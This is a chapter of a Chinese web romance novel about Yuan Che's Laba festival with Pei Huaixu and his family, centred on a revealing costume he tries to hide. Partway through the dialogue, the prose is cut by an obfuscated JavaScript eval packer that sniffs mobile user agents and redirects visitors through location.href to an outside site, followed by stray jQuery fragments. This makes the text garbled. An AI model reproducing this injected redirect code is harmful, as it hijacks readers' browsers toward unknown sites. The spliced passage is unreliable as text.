94.腊八

作品:《摆烂后漂亮万人嫌成了团宠

    腊八当日,京城被大雪妆点得满地银白。


    雕梁画栋覆上一层银白宝顶,梅香幽幽,墙内丝竹管弦之声不绝于耳。


    年关将近,官署只留了些当值的人,街上摩肩接踵,路人脸上喜气洋洋,粥米的香气从城北飘到城南。


    元澈一大早跟老亲王进宫,喝了御赐的腊八粥,又赶去公主府领赏。


    他穿得毛茸茸的,海棠红的披风里是一身红色掐丝短袄,脖颈系了几圈兔绒围脖,本就又白又小的脸几乎半边埋在短绒里,眸子眼黑多,像只活泼机敏的小动物,极招人喜欢。


    陆璇玑戳了戳他的脸颊,疑惑道:“出去一趟,怎么还圆润了点?”


    少年捂着脸后退:“哪有!裴兄都没这么说过!”


    陆璇玑嗤笑道:“他那是情人眼里出西施。”


    她往后一靠,把侍女刚端上的茶果推到元澈面前:“说吧,年终奖想要什么?”


    “什么都可以?”元澈眸子一亮。


    “可以啊。”陆璇玑坏心眼道:“我又没说一定会送。”


    元澈磨了磨后槽牙,道:“那我没什么想要的了。”


    “别啊,除了把皇兄绑到你府上让你强制爱以外,其他还是可以试试的。”


    元澈马上顺杆爬:“那你把裴兄绑到亲王府让我强制爱。”


    ?


    陆璇玑捻起茶果的动作一顿:“这也是你们PLAY的一环?”


    她怎么觉得,她派去的人被丢御花园池子泡发的可能性比较大呢?


    如是想着,陆璇玑多打量了几眼眼前的少年,从头扫视到脚,忽然竖起食指:“我有好主意了!”


    元澈有种不祥的预感。


    只见她自言自语了几句,手上忽然出现一套叠得整齐的毛绒衣服。


    “来。”陆璇玑笑眯眯地递给他:“拿回去试试吧。”


    心里那股不妙的感觉愈发强烈,元澈来不及追问,当着她的面抖开一看,脸上蓦然红了。


    这都是什么啊?!


    衣服是连体的,头顶一对小狗兽耳,中间从胸口镂空到肚子,后面还带了根软乎乎的大尾巴。


    该展示的重点全部清清楚楚展示出来,不该展示的地方也半遮半掩,欲拒还迎。


    这不就是……


    元澈把衣服一团,烫手山芋似的丢还给陆璇玑:“什么东西,我不要!”


    陆璇玑挑眉道:“专门给你挑的呢,真不要?”


    少年脑袋摇得跟拨浪鼓似的,面色红得几乎要滴血,眼睛心虚地挪开:“快拿走。”


    “不识好人心。”陆璇玑幽幽叹了口气,装模作样地喊人:“双成,替我将这件衣裳包好,送去相府,就说是世子……唔!”


    元澈拼命去捂她的嘴:“别!别给裴怀虚瞧见!”


    陆璇玑拨开他的手,提起衣裳晃了晃,笑容暧昧:“你就说要不要吧?”


    元澈深吸一口气,看着她恶意展示起那对兽耳,把头别向一边,忍气吞声道:“行,我要。”


    拿回去就压箱底!


    在陆璇玑这里也蹭了一碗腊八粥后,元澈藏藏掖掖地带着兽耳套装回了亲王府。


    他一进屋子就打开壁橱,正想塞进壁橱深处,转念一想——不行,他的屋子长期由金荷等人打理收拾,新添了哪些衣裳,她们可比他清楚得多。


    他又想到藏床底下,但一蹲下去,发现地上干干净净,一粒灰尘也没有。


    不行,这里也不保险!


    少年像做贼似的,提心吊胆在屋子里翻箱倒柜半晌,最后心一横,把兽耳套装塞进了被褥里。


    只要自己亲自叠被子,一定不会有人注意到的。


    他和藏过冬食物的小松鼠似的,刨开被褥,把兽耳套装推进去,再小心翼翼掖好被角。


    见被褥恢复原样,一点也看不出藏了东西的样子,元澈松了口气,出门喊道:“金荷姐姐,今天月钱放了吗?放了呀?那你们出去玩吧,街上好多新玩意儿呢!”


    “咱们几个姐妹去玩,你的屋子谁来守?”金荷嗔道。


    元澈从小荷包里摸出一把金叶子,咧嘴露出小虎牙:“今儿腊八,合该玩的,去吧,谁要来问,我担着呢!”


    得了赏赐,侍女们换了衣裳,笑语盈盈地牵手上街去了。


    元澈跑到府门口张望了一会儿,鼻头被雪冻得通红。


    等到他快等不下去时,雪里终于出现了一顶熟悉的软轿。


    “裴兄!”他张嘴哈出一口白气,招了招手。


    轿里的人掀帘远远望了一眼,轿子很快停住。


    裴怀虚抄着暖炉下了轿,踩在雪地里,疾步朝他走过来:“殿下为何不在府中等候?冻坏了可怎生是好?”


    青年近日亦穿得厚重不少,轻裘缓带,白衣玉冠,是京中独一份的清贵温润。


    他并不顾忌他人目光,在府门口执起少年的手,指尖冰冰凉凉,蹙眉道:“等了某多久?手这样冷。”


    元澈嘿嘿道:“不妨事,咱们快进去!”


    身后小厮递上拜帖,裴怀虚把暖炉塞进他手中,跟在少年身后踏进了亲王府。


    府内正当热闹,挑拣着几家庄子送来的年货,御赐供品也赏了下来,各色奇珍绫罗,晃得人睁不开眼,还送了只小国进贡的孔雀。


    元澈兴致勃勃地拉着裴怀虚去看孔雀:“它开屏可好看了,裴兄,你拿着这个逗它,它肯定会过来的。”


    裴怀虚无奈地笑笑:“还未见过王爷和王妃,怎来带着某这里喂起了鸟?”


    “父王去串门还没回呢。”元澈朝孔雀扔了几颗玉米粒:“娘亲在亲自熬腊八粥,让我待客——所以现在,我才是王府的主人。”


    他骄傲地翘起脑袋,裴怀虚却道:“王妃在熬粥?”


    他思索了一下,道:“某去帮忙。”


    “啊?”


    元澈见他转身要走,委屈巴巴道:“裴兄,你不陪我玩啊?”


    他可好不容易把院子里其他人都打发出去了呢。


    少年鼻头红红的,模样乖巧可怜,心性尚小,尖尖下颚陷在茸领里,格外惹人疼了几分。


    裴怀虚收去他手上的玉米粒,一股脑全洒给了孔雀,回首揽住少年的肩,温声道:“走罢,一起去。”


    后厨已飘出了粥米浓香,红枣和桂圆在其中尤为突出,香甜扑鼻。


    元澈闻得食指大动,忍不住喊:“娘,可以吃了么?”


    亲王妃转头一看,自家崽子被腊八粥勾起了馋虫,连裴怀虚也不牵了,眼睛放光跨进了厨房里,不知从哪个橱柜摸来了碗筷。


    她拍掉少年伸出的爪子,道:“还没好呢,就你猴急!”


    还在别人面前犯馋,像什么样子。


    裴怀虚含笑行了一礼:“微臣见过王妃,多谢王妃和王爷相邀。”


    “免礼。”亲王妃面色和缓了些:“本宫听说,你家中人口不多,索性让澈哥儿请你过来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262441|145738||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    咱们一起热闹热闹。”


    元澈道:“对了,裴兄,你父亲怎么办?”


    裴怀虚眸中划过一丝暗色,笑容如常:“父亲不爱过节,如今裴家由微臣主事,往年并不曾过腊八。”


    这样孤零零的话,他说出来却极其平淡,似乎已经习惯了。


    亲王妃听得有些心软,口气温柔道:“既然如此,裴相在这里不要拘束,就当是在自己家,若有什么想吃的想玩的,告诉澈哥儿便是。”


    裴怀虚挽起袖子,道:“某来帮王妃熬粥罢。”


    他那双常年处理公文的手劲瘦有力,接过掌勺,动作并不生疏。


    “哎呀!你是客人,怎么能叫你忙活!”亲王妃下意识道:“你们小孩子家家的别待在厨房,这里有娘就行,快出去玩。”


    她示意元澈把人带出去,少年却反拉过她,低声道:“娘,裴兄的娘亲去得早,想必他是想母亲了,你就别赶他啦。”


    亲王妃叹道:“那也不能让客人干活啊。”


    话虽如此,她还是默许了两个小辈待在后厨。


    裴怀虚能简单地打个下手,元澈倒好,身为主人家却净是添乱,被赶了几次也没赶走,活像块狗皮膏药。


    一旦把事情搞砸,少年又是撒娇,又是卖乖,叫人不好骂他,裴怀虚便来收拾烂摊子。


    到了傍晚,一锅暖融融的腊八粥出炉,老亲王也回来了。


    屋内烧着地龙,灯笼温暖,厚厚毛毡挡住了外头纷飞的雪花。


    几人喝着腊八粥,席间氛围好极了,笑语不断,元澈讲了一路见闻,亲王妃听得心头揪起,不住追问;老亲王和裴怀虚聊一些古今之事,说到兴头上,还开了一坛二十年的好酒。


    “哈哈哈,好!本王好久没这般尽兴过了!”


    他喝得红光满面,看裴怀虚的目光里多了些欣赏:“后生年轻,却有许多见识,了不得!”


    裴怀虚语气十分谦逊:“不及王爷博识强记,这杯酒由微臣敬您。”


    眼看酒坛见了底,他依然脸不红气不喘,好像那些酒并没有进他的胃里,而是流去了另一个次元。


    元澈心惊胆战地拉住他:“裴兄,不能再喝了。”


    “别担心,某有分寸。”裴怀虚笑着拍拍他,吐字很是清晰。


    待到散席时,老亲王脚步都有些摇晃,裴怀虚仍稳稳当当,准备跟着下人去客房。


    元澈生怕他强撑着不露怯,一边喊人去煮醒酒汤,一边把人往自己院子里带去:“等会儿看见你喝完汤,我再放你走,不然海德肯定要念叨的。”


    裴怀虚笑了几声,未置可否。


    雪小了些,依然砭骨地冷,二人进了屋中。


    许是嫌天冷,廊下养的鹦鹉也飞了进来,叽叽喳喳地叫着:“裴兄!裴兄!”


    少年蹦起来去抓它:“你叫什么!给我出去!”


    “裴兄!”


    鹦鹉一秒八百个假动作,把少年逗得鸡飞狗跳,扑了半天也没摸到一根鸟毛。


    他扑倒在床榻上,狠狠回头:“别叫我抓到你!”


    床褥散开,露出里面一块不和谐的颜色。


    ——糟了!怎么忘了这个东西!


    元澈心里一惊,正想藏住,身后一只手越过他,将兽耳套装抽了出来。


    裴怀虚带着淡淡酒气,仔细一看,旋即诧异地挑眉,唇畔可疑地浮起一抹笑意。


    他摸着尾巴,悠悠道:“这是……殿下的新衣?”